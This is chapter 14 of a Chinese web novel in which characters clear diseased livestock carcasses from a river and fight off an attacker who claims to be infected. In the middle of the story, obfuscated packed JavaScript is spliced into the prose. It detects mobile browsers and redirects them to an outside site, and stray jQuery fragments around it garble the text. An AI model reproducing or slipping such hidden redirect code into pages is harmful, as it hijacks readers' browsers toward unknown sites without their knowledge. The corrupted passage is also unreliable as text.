14. 第十四章

作品:《尝言

    当天夜里,北师父游走两县县令私宅,说服县令调动人手,再明确划分场所供疫患疗病。


    回到住处,顾书锦见他带回不少好药,激动得一头扎进房中准备彻夜研究药方。


    韦初也帮不上他什么忙,只好回房。


    推门便见仪空闭目伏在案上,转身轻阖房门,韦初放轻脚步走到她旁边坐下。


    这是她第一次见仪空有疲惫的时候。


    仪空在她入房那刻即醒,眼下未起,知来人是她。


    韦初将双臂交叠,枕在案面,道:“乏则憩也。”


    仪空徐徐睁眼,眼角微弯:“夜里不安全。”


    院中数十郡兵同住,虽是听命他们,但防人之心不可无,仪空的禁戒不无道理。


    韦初眉梢挑起,说:“无事,你且安寝,我来守夜。”


    仪空眸光微动,随即直起身,笑道:“阿东莫强抢了我的差事。”


    韦初一听噌地站起来,伸手摁住她双肩,不容拒绝地道:“你连日不曾松懈,这样下去铁打的身子也会受不住,这差事现在归我!”


    说完,她将仪空拉到床上坐下,使劲儿推倒,盖上薄被,做完这些,双手叉腰站于床沿,才满意点点头。


    心尖微颤,仪空抬眼观察面前少女,一双眼睛明亮清澈,正“严肃”盯着自己。


    她与她对视良久。


    好霸道的小娘子。


    她拗不过她,只好乖乖闭上眼睛。


    -


    韦初醒来时发现自己躺在床上。


    懵了片晌,记起自己昨夜在榻上研究主河流及流经乡里支流数目直到寅时。


    仪空醒来与她交替“守夜差事”,平时话不多的一人费尽口舌说服她轮值更能保持自身警觉性。


    她也实在困顿,估摸也快到卯时了,就迷迷糊糊睡过去。


    起身净面揩齿,出门前她取走案面图纸,折间蓦地发现上面有她不曾注意的标注,仔细辨别字迹,顿时感叹仪空不愧为谢沅的左膀右臂。


    欲企其贤,犹须力学。


    据图上显示,流经两县共有两条主干河,十余条支流。


    支流流水缓慢,更易污染,而乡民多依赖支流取水,所以病症更加严重。


    衙役将他们带往上游,韦初和谢泱沿途观察路线,对林间草药生长位置加以标记。


    山谷间闷热潮湿,所过之处蝇虫聚集。


    山风过处,非但没有拂去热气,反而带来阵阵腐息之气,众人纷纷捏紧顾书锦为他们备好的面巾。


    越靠近支流发源地,那股钻鼻恶臭愈发浓烈。


    岩石之上,韦初隔着薄纱展目四望。


    河岸边牲畜骸积如阜,残骸与污泥腐叶交融,蛆虫遍布,边上草木被大量黄绿色黏液渗入根系而叶片萎黄。


    画面和气味双重加持冲击下,韦初感到一阵强烈恶心。


    从石面跳下,她侧目看向谢泱。


    后者颔首表示听她指挥。


    缓了会儿,韦初扬声道:“先燃艾草熏透此处,再使工具将尸骸分堆于水远处深坑焚之,诸位切记,双手切莫接触尸体。”


    众应“是”。


    随即人手以厚布条包裹双手防护,手持长棍、铁铲于空地始分工。


    艾草浓烟笼罩,韦初手持长棍正抵住一牛犊尸身,薄纱碍眼,她将其褪下,仅留布巾遮盖口鼻。


    此间尸骸较之预想尤多,除地表这些,地底还埋有大量。日前连下大雨,水量积升不断冲刷沿岸,将掩埋的尸体冲入河中,沿途分散。


    “为何此地这般多牲畜死亡?”她问。


    衙役小跑过来,躬身答道:“禀贵人,岈山有一庄园专作牧地,为绥阳郡部分牲畜供应,这……这牛马若是病死,深埋事合于常。”


    病死?韦初沉吟,而后撩起眼皮看他。


    面前衙役双腿颤动,低垂着头,若不是地面污糟,他恐当场跪下,想来心有所惮,未敢明言。


    她按下心事,放松表情示意他可离开。


    积骸如山,其量甚巨,众从天明清至日落。


    残阳褪尽那刻,林间焰火腾空而起,焚烧期间十人一队,轮流值守。


    卯初火熄,焦土白汽蒸腾,腥气刺鼻。


    -


    韦初一行人到上游的同时,仪空和北师父等人也赴各支流下游巡视。


    下游淤积少量牲畜尸体。


    抵其中一支流时,仪空发现此地乡民径倒后溲入河。


    昭律明令禁止直接将秽物倾倒河道。


    下游有人如此,那么中游,甚至上游地区亦存此况。


    焚秽事讫,一队人趋赴他处。


    支流虽多,仅两条河道宽广,很快便和北师父等人碰上。


    仪空凝望。


    十余者环立,北师父身影挺拔,火焰疯窜,赤色火光映亮他素白面具。


    忽明忽暗,看不真切。


    他侧身,远远地朝她颔首。


    眼下无事,仪空命众人守在四周。


    待明火渐微,北师父沿河岸走动,她跟上,抱拳道:“除牲畜尸骸外,犹有倾秽于河者。”


    乡民此举实促水浊,须严令禁止。


    北师父停下,思忖片刻:“此事我当告于县令,由其布告周知。”


    谈话间,远处两名身着葛布短衣的男子朝此而来。


    二人立即后退警戒。


    那两人见他们手持兵器,未敢造次,顺势卸力跪倒。


    “恳求郎君,舍我等丹药救命。”


    北师父扬眉:“县衙在侧,何不径往领药?”


    地上两人闻言一愣。


    北师父笑说:“可是不敢?”


    面具下一双锐目碾下,二人脊骨倏地僵直。


    他们霍然暴起,面目狰狞:“找死!”


    话音未落,一支长棍疾击他们胸膛,转瞬又直捣他们膝窝。


    “砰”地几声扬起片尘土,仪空手握剑、鞘分别从后制住二人。


    男子面露不甘,挣扎着怒视北师父。


    “可知尔等因何暴露?”长棍左右晃动指点地面,北师父道,“步态虽改,步伐仍深而稳,此为一,再者,伪装太过拙劣,普通乡民皮面哪及尔等油亮。”


    “呸——”


    仪空低头,左边男子吐出口血沫,狞笑:“欲知我二人何惧不往县署?”


    北师父沉声:“从实招来,留你一命。”


    “哈哈哈哈哈。”那人大笑,猛地暴起,长臂抓住另外一人扔向仪空,自朝北师父扑去。


    仪空反应迅速,横刀了结面前男子。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174649|196888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>鲜血喷涌,她尽数躲开,绕至北师父身侧。


    方才扑向他的那人失败倒地,捂胸口吐鲜血,他抬头,咧起血唇,神态诡异。


    忽然,他蓄力再起。


    仪空双目圆睁,横挡在北师父面前。


    “噗”地一声血雾四溅。


    男子重重坠地,气若游丝笑道:“我已染疫,死前带上一个,不……亏。”抽搐几下,断了气息。


    仪空抬臂抹去脸上鲜血,浓烈的血腥味充斥鼻腔,低头一看,衣袍被血浸染,可见这人是咬舌自尽。


    真是个疯子。


    思索间,双肩被手握住,抬眼,北师父焦急抬手。


    仪空后退躲开,拧眉道:“北先生岂不闻其患疫,莫近为宜。”


    北师父怔了瞬,扯下腰间葫芦,又掏出布巾倾倒液体。


    酒气弥漫,仪空双手被他钳住,挣扎无果,遂闭上眼睛,只觉冰凉布巾轻轻带去她脸上污血。


    待葫芦内酒水用尽,北师父吩咐一队人留下善后,抓着她手腕赶回住处。


    未几,回到宅院。


    内院静寂,陡然响起急促脚步声。


    “何事!?”顾书锦被吓了一跳,定睛一看,惊叫,“伤在何处!”


    北师父松开手,简言道:“她身上是染疫之人的血,赶快给她调配药水沐浴。”


    话罢,仪空被他拉到井边清理血迹。


    “染疫之人的血?”顾书锦吃惊,连忙撤回屋内翻动草药。


    -


    晨光熹微,韦初回来时发现仪空并不在房中,以为她外出有事,便先把师父给他们备好的热药水提进室内,梳洗更衣。


    回到床边,她观被物摆放同昨日醒来无异,顿感奇怪。


    转头看了眼烛台,出门询问顾书锦。


    顾书锦仍在炼药,闻言丧着张脸说:“仪空昨日浑身溅染疫患血液,现正在隔离。”


    韦初听完神色骤变,转身便要走。


    “诶诶!”顾书锦扯住她袖摆,从旁倒了盏药茶递上,“暂时无事,你且先喝下这药再去也不迟。”


    韦初拧眉,接过瓷盏:“暂时无事?你是说仪空之后可能染疫。”


    顾书锦点头。


    “出了何事?”她问。


    顾书锦摇头:“此事还需问你师父。”


    天色已经大亮,韦初寻到师父问明原因,而后忧郁地回到房中。


    顾书锦也不确定疫患的血会不会传染,只说先观察些时日。


    仪空将自己锁在小间,除顾书锦递药,谁也不见。


    她不见人,但他们可以见她。


    韦初在她房前放置长案,席地而坐。


    晚间用膳,韦初说出心中猜想:“昨日衙役道岈山有一庄园为牧地,牲畜尸骸当皆出于此。”


    顾书锦一直待在院中炼药,两耳不闻窗外事,闻言惊讶道:“凡牲畜染疾,立与健康畜群分置,不至这般。”


    “且还需及时上报官府。”谢泱道,“观其主家,位显也。”


    韦初点头:“衙役言语支吾,定是知情。”


    这时,仪空声音从窗棂后响起:“昨日那两个身负简单武力的男子或许与之有所关联。”


    北师父停箸,嘴角轻扯:“看来今夜需再拜访拜访两位县令。”